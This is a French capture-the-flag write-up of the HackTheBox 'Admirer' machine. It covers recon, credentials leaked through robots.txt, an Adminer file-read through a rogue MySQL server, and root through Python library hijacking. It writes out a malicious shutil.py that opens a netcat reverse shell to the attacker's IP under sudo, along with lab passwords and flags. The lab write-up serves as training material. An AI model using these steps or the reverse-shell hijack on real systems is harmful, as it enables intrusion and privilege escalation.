# **HACK**THE**BOX** *Admirer Writeup* :::info Auteur : Victor WAUQUIER Date : 29/09/2020 ::: ###### tags: `HTB` `HackTheBox` `Cyber` `Admirer` `Hacking` ### Infos HTB **Box:** Admirer **Difficulty:** Medium **IP:** 10.10.10.187 --- [ToC] --- ## Recon ### nmap Début de cette phase avec l'outil `nmap`, l'objectif est de connaitre les technologie (`-sC`) utilisé et leurs versions (`-sV`) : ```nmap -sC -sV -p- 10.10.10.187``` ![](https://i.imgur.com/I7SY5Nk.png) Avec ce scan 3 services sont présent: * Un service **FTP** vsftpd 3.0.3 * Un service **SSH** OpenSSH 7.4p1 * Un service **WEB** Apache 2.4.25 Nous relançons un scan avec le script des vulnérabilitées: ``nmap -sC -sV -p- --script vuln 10.10.10.187`` **tcp | ssh :** ![](https://i.imgur.com/fdl5DOf.png) **http :** ![](https://i.imgur.com/xY6ZXFq.png) Nous obtenons de nombreux CVE mais rien d'exploitable réelement. ### FTP anonyme Nous allons donc tester dans un premier temps de nous connecter au service ftp en **anonyme**. ``ftp 10.10.10.187`` ![](https://i.imgur.com/rD5jBW7.png) :::danger Aucun droit sur la connexion en anonyme. ::: ### apache Nous allons nous concentrer sur le service apache. Si l'on se référe au fichier ou au information qu'il faut analyser sur un serveur web, c'est bien le robot.txt. Nous avons effectivement un accés sur le fichier robots.txt à l'adresse suivante : * http://10.10.10.187/robots.txt :::spoiler ``` ('User-agent: * This folder contains personal contacts and creds, so no one -not even robots- should see it - waldo Disallow: /admin-dir') ``` ::: Ce fichier **robots.txt** nous donne la présence d'un dossier **amin-dir** ### wfuzz Nous allons donc faire un fuzzing sur http://10.10.10.187/admin-dir ```bash wfuzz -c -w /usr/share/wordlists/dirb/big.txt -z list,txt-php-html -u http://10.10.10.187/admin-dir/FUZZ.FUZ2Z --hc 404,403 ``` cela nous retourne le résultat suivant: ![](https://i.imgur.com/km2L9CK.png) Nous obtenons deux fichiers **contacts.txt** et **credentials.txt** * http://10.10.10.187/admin-dir/contacts.txt :::spoiler ``` ########## # admins # ########## # Penny Email: p.wise@admirer.htb ############## # developers # ############## # Rajesh Email: r.nayyar@admirer.htb # Amy Email: a.bialik@admirer.htb # Leonard Email: l.galecki@admirer.htb ############# # designers # ############# # Howard Email: h.helberg@admirer.htb # Bernadette Email: b.rauch@admirer.htb ``` ::: * http://10.10.10.187/admin-dir/credentials.txt :::spoiler ``` [Internal mail account] w.cooper@admirer.htb fgJr6q#S\W:$P [FTP account] ftpuser %n?4Wz}R$tTF7 [Wordpress account] admin w0rdpr3ss01! ``` ::: ## Foothold ### FTP Grâce au fichier **credentials.txt** on obtient des identifiants ftp. Nous retournons alors sur la connexion ftp: :::info **FTP account:** ftpuser %n?4Wz}R$tTF7 ::: ![](https://i.imgur.com/HtckOkI.png) :::spoiler ```bash ftp 10.10.10.187 connected to 10.10.10.187. 220 (vsFTPd 3.0.3) Name (10.10.10.187:griff): ftpuser 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to trasfer files. ftp> ls 200 PORT command successful. Consider using PASV. 150 Here comes the directory listing. - rw-r--r- 1 0 0 3405 dec 02 2019 dump.sql - rw-r--r- 1 0 0 5270987 dec 03 2019 html.tar.gz ``` ::: On veut alors récupérer les deux fichier **dump.sql** et **html.tar.gz** * ``get dump.sql`` * ``get html.tar.gz`` ### Backup files Suite à l'extraction du document html.tar.gz (```bash tar xfvz html.tar.gz```) nous obtenons une suite de fichier interresant: ![](https://i.imgur.com/z6BtwVw.png) Si l'on commence par observer le contenue du fichier **index.php** nous récupérons un couple identifianr/mot de passe dans la base de donnée "admirerdb" ![](https://i.imgur.com/QC4si6J.png) :::info Username : waldo Password : ]F7jLHw:*G>UPrTo}~A"d6b Dbname : admirerdb ::: :::warning :warning: Dans le document **db_admin.php** on retrouve un couple identifiant / mot de passe différent: ::: ![](https://i.imgur.com/mHVkD1b.png) :::info Username : waldo Password : Wh3r3_1s_w4ld0? ::: Un commentaire dans le fichier **db_admin.php** indique > // TODO: Finish implementing this or find a better open source alternative Cela signifie donc que la solution adopter pour avoir une base de donnée, serais une solution open source. De plus parmis les fichiers: * phptest.php * info.php * db_admin.php * admin_task.php Seul le fichier **db_admin.php** n'est pas accessible. ### wfuzz Avant de passer au recherche de solution open source nous pouvons nous interroger sur notre premier **wfuzz** avec le dossier **/admin-dir/** et l'executer sur **/utility-scripts/** que l'on retrouvait dans les fichier de notre archive **html.tar.gz** ```bash wfuzz -c -w /usr/share/wordlists/dirb/big.txt -z list,txt-php-html -u http://10.10.10.187/utility-scripts/FUZZ.FUZ2Z --hc 404,403 ``` ![](https://i.imgur.com/cUqIJJL.png) Cela nous a donc retourné les page suivante: * http://10.10.10.187/utility-scripts/adminer.php * http://10.10.10.187/utility-scripts/info.php * http://10.10.10.187/utility-scripts/phptest.php Nous ouvrons la page **adminer.php** et constatons qu'il sagit d'une solution open source concernant les bases de données. ### Adminer ![](https://i.imgur.com/9XDivxA.png) Nous avons alors utilisé les mots de passe récupéré dans les différents fichiers mais aucun ne fonctionne.. Il faut donc chercher des vulnérabilité présent sur **adminer4.6.2** #### Exploit Une des vulnérabilités sur la version 4.6.2 consiste à crée une base de donnée et d'y importer la base de donnée admirerdb. https://www.foregenix.com/blog/serious-vulnerability-discovered-in-adminer-tool ```sql CREATE DATABASE admirer; CREATE USER ‘griff’@’%’ IDENTIFIED BY ‘griff_admirer’; GRANT ALL PRIVILEGES ON * . * TO 'griff'@'%'; CREATE TABLE test (data varchar(1000)); ``` On retourne ensuite sur la page **adminer.php** pour ce connecter à notre base de donnée soit: :::info Server : 10.10.15.39 Username : griff Password : griff_admirer Database : admirer ::: Une fois l'entrer dans notre base, nous allons executer du code SQL dans notre table test: ```sql load data local infile '../index.php' into table test fields terminated by "\n" ``` Le contenue du fichier index.php sera alors le contenue de la base de donnée actuelle et non celle de la backup. ![](https://i.imgur.com/HqSgney.png) :::info Username : waldo Password : &<h5b~yK3F#{PaPB&dA}{H> DBname : adminerdb ::: On peut ensuite se connecter à la base de donnée mais rien de concluant, si on récapitule nos actions nous avons: - [x] ftp - [ ] ssh - [x] apache Il nous reste donc l'exploitation du SSH. ### SSH Nous gardons l'utilisateur **waldo**, sur la liste des mots de passe trouvé, un seul fonctionne. - [ ] ]F7jLHw:*G>UPrTo}~A"d6b - [ ] Wh3r3_1s_w4ld0? - [x] **&<h5b~yK3F#{PaPB&dA}{H>** On fait donc: ``` ssh waldo@10.10.10.187 waldo@10.10.10.187's password: waldo@admirer:~$ id uid=1000(waldo) gid=1000(waldo) groups=1000(waldo),1001(admins) waldo@admirer:~$ ls linpeas.sh user.txt waldo@admirer:~$ cat user.txt 3053dcdbe21e85ee9339a65dbe6e8c59 ``` :::success user.txt: 3053dcdbe21e85ee9339a65dbe6e8c59 ::: ## PrivEsc ### Recon La premiére chose à faire c'est d'exécuter la commande `sudo -l` ``` [sudo] password for waldo: Matching Defaults entries for waldo on admirer: env_reset, env_file=/etc/sudoenv, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, listpw=always User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` **Waldo** peut éxecuter le fichier admin_task.sh en tant que **root** Le script ne contient donc que les chemins absolus, empêchant de changer le programme exécuter en modifiant PATH. Il n'y a également pas de valeurs codé en dur. En revanche on retrouve une ligne qui apelle un fichier, ce fichier se trouve dans le même répertoire que admin_task.sh, la ligne en question est : ```/opt/scripts/backup.py``` ```python= #!/usr/bin/python3 from shutil import make_archive src = '/var/www/html/' # old ftp directory, not used anymore #dst = '/srv/ftp/html' dst = '/var/backups/html' make_archive(dst, 'gztar', src) ``` Dans ce fichier on se retrouve confronté au même problème, des chemins ne pouvant pas altérer le PATH, en revanche le script python crée une archive grâce au paquet shutil.. ### Library Hijacking Les librairies python dépende de *PYTHONPATH* il est donc possible de détourner l'execution de `/opt/scripts/backup.py` pour exécuter du code arbritraire avec des privilèges élevés. En recherchant des techniques d'élévation de privilèges à partir des librairies python nous sommes tombé sur ce lien: https://rastating.github.io/privilege-escalation-via-python-library-hijacking/ Nous pouvons utiliser une commande pour connaitre le chemin d'accés de nos library: ```python python -c 'import sys; print "\n".join(sys.path)' ``` ![](https://i.imgur.com/LMTBGqX.png) :::spoiler ```bash python -c 'import sys; print "\n".join(sys.path)' /usr/lib/python35.zip /usr/lib/python3.5 /usr/lib/python3.5/plat-x86_64-linux-gnu /usr/lib/python3.5/lib-dynload /usr/local/lib/python3.5/dist-packages /usr/lib/python3/dist-packages ``` ::: Maintenant que nous avons nos chemins nous allons crée notre programme python qui s'appellera `shutil.py` qui sera dans `/tmp/lib/` > répertoire dans lequelle nous pourrons enregistrer notre script avec les droit de waldo ```python3= #!/usr/bin/python3 import os os.system(“nc 10.10.15.39 7777 -e ‘/bin/sh’”) ``` De notre coté nous allons écouter les connexions entrantes sur notre machine avec `netcat`: ```bash nc -lvnp 7777 ``` On execute ensuite le script `admin_task.sh` en modifiant le **PYTHONPATH** avec notre chemin vers `/tmp/lib/`: ```bash sudo PYTHONPATH=/tmp/./opt/scripts/admin_task.sh ``` ![](https://i.imgur.com/0lFRCWJ.png) :::spoiler ```bash nc -lvnp 7777 listening on [any] 7777 ... connect to [10.10.15.39] from (UNKNOWN) [10.10.10.187] 39584 ls shutil.py vmware-root id uid=0(root) gid=0(root) groups=0(root) cd ls root.txt cat root.txt cfe1c10fdfce47e71a7fbe387c9441dd ``` ::: On obtient ensuite le fichier **root.txt**: :::success root.txt: cfe1c10fdfce47e71a7fbe387c9441dd :::